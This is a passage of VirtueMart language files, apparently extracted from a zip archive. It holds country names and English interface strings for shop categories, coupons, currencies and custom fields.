COM_VIRTUEMART_COUNTRY_COG="Congo" COM_VIRTUEMART_COUNTRY_COD="Congo, The Democratic Republic of the" COM_VIRTUEMART_COUNTRY_COK="Cook Islands" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica" COM_VIRTUEMART_COUNTRY_CIV="Côte d'Ivoire" COM_VIRTUEMART_COUNTRY_HRV="Croatia" COM_VIRTUEMART_COUNTRY_CUB="Cuba" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_CYP="Cyprus" COM_VIRTUEMART_COUNTRY_CZE="Czech Republic" COM_VIRTUEMART_COUNTRY_DNK="Denmark" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DJI="Djibouti" COM_VIRTUEMART_COUNTRY_DMA="Dominica" COM_VIRTUEMART_COUNTRY_DOM="Dominican Republic" COM_VIRTUEMART_COUNTRY_ECU="Ecuador" COM_VIRTUEMART_COUNTRY_EGY="Egypt" COM_VIRTUEMART_COUNTRY_SLV="El Salvador" COM_VIRTUEMART_COUNTRY_GNQ="Equatorial Guinea" COM_VIRTUEMART_COUNTRY_ERI="Eritrea" COM_VIRTUEMART_COUNTRY_EST="Estonia" COM_VIRTUEMART_COUNTRY_ETH="Ethiopia" COM_VIRTUEMART_COUNTRY_FLK="Falkland Islands (Malvinas)" COM_VIRTUEMART_COUNTRY_FRO="Faroe Islands" COM_VIRTUEMART_COUNTRY_FJI="Fiji" COM_VIRTUEMART_COUNTRY_FIN="Finland" COM_VIRTUEMART_COUNTRY_FRA="France" COM_VIRTUEMART_COUNTRY_GUF="French Guiana" COM_VIRTUEMART_COUNTRY_PYF="French Polynesia" COM_VIRTUEMART_COUNTRY_ATF="French Southern Territories" COM_VIRTUEMART_COUNTRY_GAB="Gabon" COM_VIRTUEMART_COUNTRY_GMB="Gambia" COM_VIRTUEMART_COUNTRY_GEO="Georgia" COM_VIRTUEMART_COUNTRY_DEU="Germany" COM_VIRTUEMART_COUNTRY_GHA="Ghana" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRC="Greece" COM_VIRTUEMART_COUNTRY_GRL="Greenland" COM_VIRTUEMART_COUNTRY_GRD="Grenada" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernsey" COM_VIRTUEMART_COUNTRY_GIN="Guinea" COM_VIRTUEMART_COUNTRY_GNB="Guinea-Bissau" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haiti" COM_VIRTUEMART_COUNTRY_HMD="Heard and McDonald Islands" COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hong Kong" COM_VIRTUEMART_COUNTRY_HUN="Hungary" COM_VIRTUEMART_COUNTRY_ISL="Iceland" COM_VIRTUEMART_COUNTRY_IND="India" COM_VIRTUEMART_COUNTRY_IDN="Indonesia" COM_VIRTUEMART_COUNTRY_IRN="Iran, Islamic Republic of" COM_VIRTUEMART_COUNTRY_IRQ="Iraq" COM_VIRTUEMART_COUNTRY_IRL="Ireland" COM_VIRTUEMART_COUNTRY_IMN="Isle Of Man" COM_VIRTUEMART_COUNTRY_ISR="Israel" COM_VIRTUEMART_COUNTRY_ITA="Italy" COM_VIRTUEMART_COUNTRY_JAM="Jamaica" COM_VIRTUEMART_COUNTRY_JPN="Japan" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordan" COM_VIRTUEMART_COUNTRY_KAZ="Kazakhstan" COM_VIRTUEMART_COUNTRY_KEN="Kenya" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_PRK="Korea, Democratic People's Republic of" COM_VIRTUEMART_COUNTRY_KOR="Korea, Republic of" COM_VIRTUEMART_COUNTRY_KWT="Kuwait" COM_VIRTUEMART_COUNTRY_KGZ="Kyrgyzstan" COM_VIRTUEMART_COUNTRY_LAO="Lao People's Democratic Republic" COM_VIRTUEMART_COUNTRY_LVA="Latvia" COM_VIRTUEMART_COUNTRY_LBN="Lebanon" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LBR="Liberia" COM_VIRTUEMART_COUNTRY_LBY="Libya" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein" COM_VIRTUEMART_COUNTRY_LTU="Lithuania" COM_VIRTUEMART_COUNTRY_LUX="Luxembourg" COM_VIRTUEMART_COUNTRY_MAC="Macau" COM_VIRTUEMART_COUNTRY_MKD="Macedonia, the former Yugoslav Republic of" COM_VIRTUEMART_COUNTRY_MDG="Madagascar" COM_VIRTUEMART_COUNTRY_MWI="Malawi" COM_VIRTUEMART_COUNTRY_MYS="Malaysia" COM_VIRTUEMART_COUNTRY_MDV="Maldives" COM_VIRTUEMART_COUNTRY_MLI="Mali" COM_VIRTUEMART_COUNTRY_MLT="Malta" COM_VIRTUEMART_COUNTRY_MHL="Marshall Islands" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauritania" COM_VIRTUEMART_COUNTRY_MUS="Mauritius" COM_VIRTUEMART_COUNTRY_MYT="Mayotte" COM_VIRTUEMART_COUNTRY_MEX="Mexico" COM_VIRTUEMART_COUNTRY_FSM="Micronesia, Federated States of" COM_VIRTUEMART_COUNTRY_MDA="Moldova, Republic of" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolia" COM_VIRTUEMART_COUNTRY_MNE="Montenegro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MAR="Morocco" COM_VIRTUEMART_COUNTRY_MOZ="Mozambique" COM_VIRTUEMART_COUNTRY_MMR="Myanmar" COM_VIRTUEMART_COUNTRY_NAM="Namibia" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Nepal" COM_VIRTUEMART_COUNTRY_NLD="Netherlands" COM_VIRTUEMART_COUNTRY_NCL="New Caledonia" COM_VIRTUEMART_COUNTRY_NZL="New Zealand" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_NFK="Norfolk Island" COM_VIRTUEMART_COUNTRY_MNP="Northern Mariana Islands" COM_VIRTUEMART_COUNTRY_NOR="Norway" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PLW="Palau" COM_VIRTUEMART_COUNTRY_PSE="Palestinian Territory, Occupied" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papua New Guinea" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Peru" COM_VIRTUEMART_COUNTRY_PHL="Philippines" COM_VIRTUEMART_COUNTRY_PCN="Pitcairn" COM_VIRTUEMART_COUNTRY_POL="Poland" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Puerto Rico" COM_VIRTUEMART_COUNTRY_QAT="Qatar" COM_VIRTUEMART_COUNTRY_REU="Réunion" COM_VIRTUEMART_COUNTRY_ROU="Romania" COM_VIRTUEMART_COUNTRY_RUS="Russian Federation" COM_VIRTUEMART_COUNTRY_RWA="Rwanda" COM_VIRTUEMART_COUNTRY_BLM="Saint Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="Saint Helena" COM_VIRTUEMART_COUNTRY_KNA="Saint Kitts and Nevis" COM_VIRTUEMART_COUNTRY_LCA="Saint Lucia" COM_VIRTUEMART_COUNTRY_MAF="Saint Martin (French part)" COM_VIRTUEMART_COUNTRY_SPM="Saint Pierre and Miquelon" COM_VIRTUEMART_COUNTRY_VCT="Saint Vincent and the Grenadines" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="San Marino" COM_VIRTUEMART_COUNTRY_STP="Sao Tome And Principe" COM_VIRTUEMART_COUNTRY_SAU="Saudi Arabia" COM_VIRTUEMART_COUNTRY_SEN="Senegal" COM_VIRTUEMART_COUNTRY_SRB="Serbia" COM_VIRTUEMART_COUNTRY_SYC="Seychelles" COM_VIRTUEMART_COUNTRY_SLE="Sierra Leone" COM_VIRTUEMART_COUNTRY_SGP="Singapore" COM_VIRTUEMART_COUNTRY_SXM="Sint Maarten (Dutch part)" COM_VIRTUEMART_COUNTRY_SVK="Slovakia" COM_VIRTUEMART_COUNTRY_SVN="Slovenia" COM_VIRTUEMART_COUNTRY_SLB="Solomon Islands" COM_VIRTUEMART_COUNTRY_SOM="Somalia" COM_VIRTUEMART_COUNTRY_ZAF="South Africa" COM_VIRTUEMART_COUNTRY_SGS="South Georgia and the South Sandwich Islands" COM_VIRTUEMART_COUNTRY_SSD="South Sudan" COM_VIRTUEMART_COUNTRY_ESP="Spain" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_SDN="Sudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard and Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swaziland" COM_VIRTUEMART_COUNTRY_SWE="Sweden" COM_VIRTUEMART_COUNTRY_CHE="Switzerland" COM_VIRTUEMART_COUNTRY_SYR="Syrian Arab Republic" COM_VIRTUEMART_COUNTRY_TWN="Taiwan" COM_VIRTUEMART_COUNTRY_TJK="Tajikistan" COM_VIRTUEMART_COUNTRY_TZA="Tanzania, United Republic of" COM_VIRTUEMART_COUNTRY_THA="Thailand" COM_VIRTUEMART_COUNTRY_TLS="Timor-Leste" COM_VIRTUEMART_COUNTRY_TGO="Togo" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinidad and Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TUN="Tunisia" COM_VIRTUEMART_COUNTRY_TUR="Turkey" COM_VIRTUEMART_COUNTRY_TKM="Turkmenistan" COM_VIRTUEMART_COUNTRY_TCA="Turks and Caicos Islands" COM_VIRTUEMART_COUNTRY_TUV="Tuvalu" COM_VIRTUEMART_COUNTRY_UGA="Uganda" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_ARE="United Arab Emirates" COM_VIRTUEMART_COUNTRY_GBR="United Kingdom" COM_VIRTUEMART_COUNTRY_USA="United States" COM_VIRTUEMART_COUNTRY_UMI="United States Minor Outlying Islands" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Uzbekistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Vatican City State (Holy See)" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_VNM="Viet Nam" COM_VIRTUEMART_COUNTRY_VGB="Virgin Islands, British" COM_VIRTUEMART_COUNTRY_VIR="Virgin Islands, U.S." COM_VIRTUEMART_COUNTRY_WLF="Wallis and Futuna" COM_VIRTUEMART_COUNTRY_ESH="Western Sahara" COM_VIRTUEMART_COUNTRY_YEM="Yemen" COM_VIRTUEMART_COUNTRY_ZMB="Zambia" COM_VIRTUEMART_COUNTRY_ZWE="Zimbabwe"PK@y>\+ZZAcomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="About" COM_VIRTUEMART_ACCESS_FORBIDDEN="Access Forbidden" COM_VIRTUEMART_ADD="New" COM_VIRTUEMART_ADDRESS="Address" COM_VIRTUEMART_ADD_COMMENT="Add Comment" COM_VIRTUEMART_ADD_RATING="Add Rating" COM_VIRTUEMART_ADD_SHIPTO_1="Add a new" COM_VIRTUEMART_ADD_SHIPTO_2="Shipment Address" COM_VIRTUEMART_ADMIN="Control Panel" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Enable database Update tools" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Here you can activate tools, which are written for testing and uninstallation. They are used to reset the shop in the installation conditions. Consider that after using a dangerous tool, the configuration is set back to none again." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="No override" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Payment Method Information" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Security Settings" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Shipment Method Information" COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Store Credit Card Information?" COM_VIRTUEMART_ADMIN_UPDATES="Updates" COM_VIRTUEMART_ADVANCED_SEARCH="Advanced Search" COM_VIRTUEMART_AD_ACY="For a more complex solution to send emails, you may try:
      %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (strong security)" COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s products" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 product" COM_VIRTUEMART_ALL="All" COM_VIRTUEMART_ALL_EXTENSIONS="See All Extensions" COM_VIRTUEMART_ALL_NEWS="Read all News" COM_VIRTUEMART_APPLY="Apply" COM_VIRTUEMART_ASC="Ascending Order" ;COM_VIRTUEMART_ASKQU_CS_MAX="too long" ;COM_VIRTUEMART_ASKQU_CS_MIN="Minimum not reached" COM_VIRTUEMART_ASKQU_INV_MAIL="Given email address is invalid" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Assign Zones" COM_VIRTUEMART_ATTRIBUTES="Attributes" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Attribute Name" COM_VIRTUEMART_AVAILABILITY="Availability" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Will be displayed when Products Out of stock are orderable" COM_VIRTUEMART_BACK="Back" COM_VIRTUEMART_BACK_TO_DETAILS="Back to Product Details" COM_VIRTUEMART_CALC="Tax & Calculation Rule" COM_VIRTUEMART_CALC_DETAILS="Tax & Calculation Rule Details" COM_VIRTUEMART_CALC_EPOINT_DATAX="Price modifier after tax" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Price modifier after tax per bill" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Price modifier before tax" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Price modifier before tax per bill" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Price modifier for Profit Margin" COM_VIRTUEMART_CALC_EPOINT_TAX="Tax per product" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Tax per bill" COM_VIRTUEMART_CALC_EPOINT_VATTAX="Vat tax per product" COM_VIRTUEMART_CALC_KIND="Type of Arithmetic Operation" COM_VIRTUEMART_CALC_LOCATION="Countries" COM_VIRTUEMART_CALC_NAME="Calculation Rule name" COM_VIRTUEMART_CALC_S="Taxes & Calculation Rules" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Not Visible for Shopper" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visible for Shopper" COM_VIRTUEMART_CALC_VALUE_MATHOP="Math Operation" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Not Visible for Vendor" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visible for Vendor" COM_VIRTUEMART_CALC_VIS_SHOPPER="Visible Shopper" COM_VIRTUEMART_CALC_VIS_VENDOR="Visible Vendor" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Can't create image for category" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Can't create image for manufacturer" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Can't create image for product" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Can't create image for vendor" COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

      Order confirmed

      You bought and confirmed an order in %1$s shop online.

      You can check the status of your order by going on your personal account

      " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password:" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_PRICE="Price " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search for Related Categories" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" COM_VIRTUEMART_CATEGORY="Product Category" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT="Page Layout" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT_DESC="Here you can override the VirtueMart page layout by assigning a different layout to a specific menu item" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Select a Category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Select a Category" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Category Browse Page" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Default Product Details Page" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Initial number of listed items" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS_TIP="This is the number of items listed when a user enters the category without having selected a number already. This is also an override. Leave empty to use the system defaults" COM_VIRTUEMART_CATEGORY_FORM_LBL="Product Category Form" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Category Pagination Sequence" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP_TIP="Leave empty, to use the default set in the main config, else set a list of numbers seperated by commas that will be used in the list box on the Front End.
      Example: 6,12,18,24
      " COM_VIRTUEMART_CATEGORY_FORM_PARENT="Parent Category" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Number of Products per Row" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW_TIP="Leave it empty to use the default value set in the vm configuration" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Category is shared?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Top Level Category" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category Name" COM_VIRTUEMART_CATEGORY_ORDERING="Category Ordering" COM_VIRTUEMART_CATEGORY_S="Product Categories" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Set category to shared" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Use shop default" COM_VIRTUEMART_CATEGORY_UNSHARE="Unshared category" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Unshared category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Show / Change the Transaction Key" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Generic child variant" COM_VIRTUEMART_CLONE="Clone" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_CMN_OPTIONAL="Optional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Columns, Rows attributes" COM_VIRTUEMART_COMMENT="Comment" COM_VIRTUEMART_COMMENT_MIN_MAX="Your message should have between %s to %s characters. Thank you." COM_VIRTUEMART_COMMUNITY_FORUM="Forum" COM_VIRTUEMART_CONFIG="Configuration" COM_VIRTUEMART_CONFIGURATION="Configuration" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Unable to write into the configuration file %s!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="The configuration details have been updated!" COM_VIRTUEMART_CONFIGURATION_MOD="Configuration" COM_VIRTUEMART_CONFIG_SAVED="Configuration Saved" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Go to %s" COM_VIRTUEMART_CONTROL_PANEL="Control Panel" COM_VIRTUEMART_COOKIE_MISSING="Cookie Missing" COM_VIRTUEMART_COUNTRY="Country" COM_VIRTUEMART_COUNTRY_2_CODE="Country (2) Code" COM_VIRTUEMART_COUNTRY_3_CODE="Country (3) Code" COM_VIRTUEMART_COUNTRY_DETAILS="Country Details" COM_VIRTUEMART_COUNTRY_NAME="Country Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Country Reference Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="The Country Reference Name is used when no key exist in the language file for this country. Otherwise the language key will be used. The countries languages keys are in 'com_virtuemart_countries.ini' file. The key must have the prefix 'COM_VIRTUEMART_COUNTRY_' followed by the country 3 code letter" COM_VIRTUEMART_COUNTRY_S="Countries" COM_VIRTUEMART_COUPON="Coupon" COM_VIRTUEMART_COUPON_CODE="Coupon Code" COM_VIRTUEMART_COUPON_DETAILS="Coupon Details" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_EXPIRY="Coupon Expiry Date" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Coupon Expiry Date" COM_VIRTUEMART_COUPON_PERCENT="Percent" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Percent or Total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Percent or Total" COM_VIRTUEMART_COUPON_S="Coupons" COM_VIRTUEMART_COUPON_START="Coupon Start Date" COM_VIRTUEMART_COUPON_START_TIP="Coupon Start Date" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Submit" COM_VIRTUEMART_COUPON_TIP="The coupon code the client will need to enter" COM_VIRTUEMART_COUPON_TOTAL="Total" COM_VIRTUEMART_COUPON_TYPE="Coupon Type" COM_VIRTUEMART_COUPON_TYPE_GIFT="Gift Coupon" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Permanent Coupon" COM_VIRTUEMART_COUPON_TYPE_TIP="A Gift Coupon is deleted after it was used for discounting an order. A permanent coupon can be used as often as the shopper wants to." COM_VIRTUEMART_COUPON_USED="Coupon used" COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="Coupon value must be a number." COM_VIRTUEMART_COUPON_VALUE_TIP="Coupon value" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Minimum Total Order" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Invalid Value for Order Value to be valid" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREATE_ACCOUNT="Register" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CURRENCY_CODE_2="Code 2 letters" COM_VIRTUEMART_CURRENCY_CODE_3="Code 3 letters" COM_VIRTUEMART_CURRENCY_DECIMALS="Decimals" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Decimal Symbol" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Character used as decimal symbol" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Number of displayed decimals (can be 0)
      Performs rounding if value has different number of decimals" COM_VIRTUEMART_CURRENCY_DETAILS="Currency Details" COM_VIRTUEMART_CURRENCY_DISPLAY="Currency Display Style" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="For Positive or Negative Format, use
      • {sign} for the algebraic sign,
      • {number} for the value and
      • {symbol} for the currency
      as placeholder, all html tags are allowed, except the character | is not allowed
      For example
      "{sign} <b>{number}</b> {symbol}"
      will display a price like "+ 42,23 €"" COM_VIRTUEMART_CURRENCY_END_DATE="End date" COM_VIRTUEMART_CURRENCY_ERR_CODE="You must enter a code for the currency." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Please select a currency to delete." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Exchange Rate" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Currency function Forbidden for non vendors" COM_VIRTUEMART_CURRENCY_NAME="currency name" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Negative Format" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Numeric Code" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Positive Format" COM_VIRTUEMART_CURRENCY_S="Currencies" COM_VIRTUEMART_CURRENCY_START_DATE="Start date" COM_VIRTUEMART_CURRENCY_SYMBOL="Currency Symbol" COM_VIRTUEMART_CURRENCY_THOUSANDS="Thousands Separator" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="This product is currently not available." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Current Transaction Key" COM_VIRTUEMART_CUSTOM="Custom Fields" COM_VIRTUEMART_CUSTOMER_RATING="Average shopper rating" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Some Plugin can contain Javascript. Please click on 'Apply' button (Joomla 1.5.x), or 'Save' button (Joomla 2.5.x) to display the appropriate parameters" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Admin only" COM_VIRTUEMART_CUSTOM_BOOL="Boolean" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="The custom record itself cannot be the parent !" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Cart User Variant" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Cart Variant" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="The Custom Type(s) was successfully cloned" COM_VIRTUEMART_CUSTOM_DEFAULT="Default value" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plug-ins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Description" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Price: " COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Custom Field Type: " COM_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_CUSTOM_IMAGE="Image" COM_VIRTUEMART_CUSTOM_INT="Integer" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Cart Attribute" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Hidden" COM_VIRTUEMART_CUSTOM_IS_LIST="Is a list?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Layout position" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Fail to clone the Custom Type(s)" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="No child product" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="No relation found" COM_VIRTUEMART_CUSTOM_NO_TYPES="No custom Fields. Please use select list to add some new fields" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Custom Page Title" COM_VIRTUEMART_CUSTOM_PARENT="Parent" COM_VIRTUEMART_CUSTOM_PO="Parent orderable" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Child product" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Overwrite plugin values of the parent" COM_VIRTUEMART_CUSTOM_STRING="String" COM_VIRTUEMART_CUSTOM_TEXTAREA="Textarea" COM_VIRTUEMART_CUSTOM_TIP="Tooltip" COM_VIRTUEMART_CUSTOM_TITLE="Title" COM_VIRTUEMART_CUSTOM_WP="Display parent as option" COM_VIRTUEMART_DATE="Date" ; This is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="m/d/y" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="Day" COM_VIRTUEMART_DEFAULT="Default" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Default-Top Level" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Default Vendor Currency" COM_VIRTUEMART_DELETE="Delete" 